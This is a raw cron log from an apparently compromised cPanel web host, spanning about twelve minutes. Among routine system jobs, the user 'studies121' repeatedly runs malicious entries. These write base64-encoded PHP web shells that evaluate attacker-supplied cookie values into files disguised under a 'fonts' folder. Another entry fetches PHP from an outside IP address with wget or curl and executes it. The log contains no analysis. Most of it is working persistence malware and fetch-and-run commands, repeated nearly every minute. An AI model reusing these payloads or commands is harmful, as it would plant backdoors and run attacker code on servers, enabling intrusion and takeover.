Sep  3 19:40:01 ip-184-168-122-23 CROND[21980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:40:01 ip-184-168-122-23 CROND[21979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:40:01 ip-184-168-122-23 CROND[21976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:40:01 ip-184-168-122-23 CROND[21983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:41:01 ip-184-168-122-23 CROND[22071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:41:01 ip-184-168-122-23 CROND[22074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:41:01 ip-184-168-122-23 CROND[22076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:41:01 ip-184-168-122-23 CROND[22075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:42:01 ip-184-168-122-23 CROND[22157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:42:01 ip-184-168-122-23 CROND[22159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:42:01 ip-184-168-122-23 CROND[22156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:42:01 ip-184-168-122-23 CROND[22160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:42:01 ip-184-168-122-23 CROND[22158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:43:01 ip-184-168-122-23 CROND[22265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:43:01 ip-184-168-122-23 CROND[22266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:43:01 ip-184-168-122-23 CROND[22267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:43:01 ip-184-168-122-23 CROND[22268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:44:02 ip-184-168-122-23 CROND[22418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:44:02 ip-184-168-122-23 CROND[22420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:44:02 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:44:02 ip-184-168-122-23 CROND[22422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:44:02 ip-184-168-122-23 CROND[22424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:45:02 ip-184-168-122-23 CROND[22515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:45:02 ip-184-168-122-23 CROND[22519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:45:02 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:45:02 ip-184-168-122-23 CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:45:02 ip-184-168-122-23 CROND[22525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:45:02 ip-184-168-122-23 CROND[22526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:46:01 ip-184-168-122-23 CROND[22604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:46:01 ip-184-168-122-23 CROND[22606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:46:01 ip-184-168-122-23 CROND[22610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:46:01 ip-184-168-122-23 CROND[22609]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:46:01 ip-184-168-122-23 CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 19:46:01 ip-184-168-122-23 CROND[22607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:46:01 ip-184-168-122-23 CROND[22608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:47:01 ip-184-168-122-23 CROND[22735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:47:01 ip-184-168-122-23 CROND[22736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:47:01 ip-184-168-122-23 CROND[22738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:47:01 ip-184-168-122-23 CROND[22737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:48:01 ip-184-168-122-23 CROND[22817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:48:01 ip-184-168-122-23 CROND[22819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:48:01 ip-184-168-122-23 CROND[22820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:48:01 ip-184-168-122-23 CROND[22821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:48:01 ip-184-168-122-23 CROND[22818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:49:01 ip-184-168-122-23 CROND[22913]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 19:49:01 ip-184-168-122-23 CROND[22915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:49:01 ip-184-168-122-23 CROND[22916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:49:01 ip-184-168-122-23 CROND[22917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:49:01 ip-184-168-122-23 CROND[22914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:50:01 ip-184-168-122-23 CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23115]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:50:01 ip-184-168-122-23 CROND[23118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:50:01 ip-184-168-122-23 CROND[23122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:51:01 ip-184-168-122-23 CROND[23243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:51:01 ip-184-168-122-23 CROND[23245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:51:01 ip-184-168-122-23 CROND[23246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:51:01 ip-184-168-122-23 CROND[23244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:52:01 ip-184-168-122-23 CROND[23340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:52:01 ip-184-168-122-23 CROND[23342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
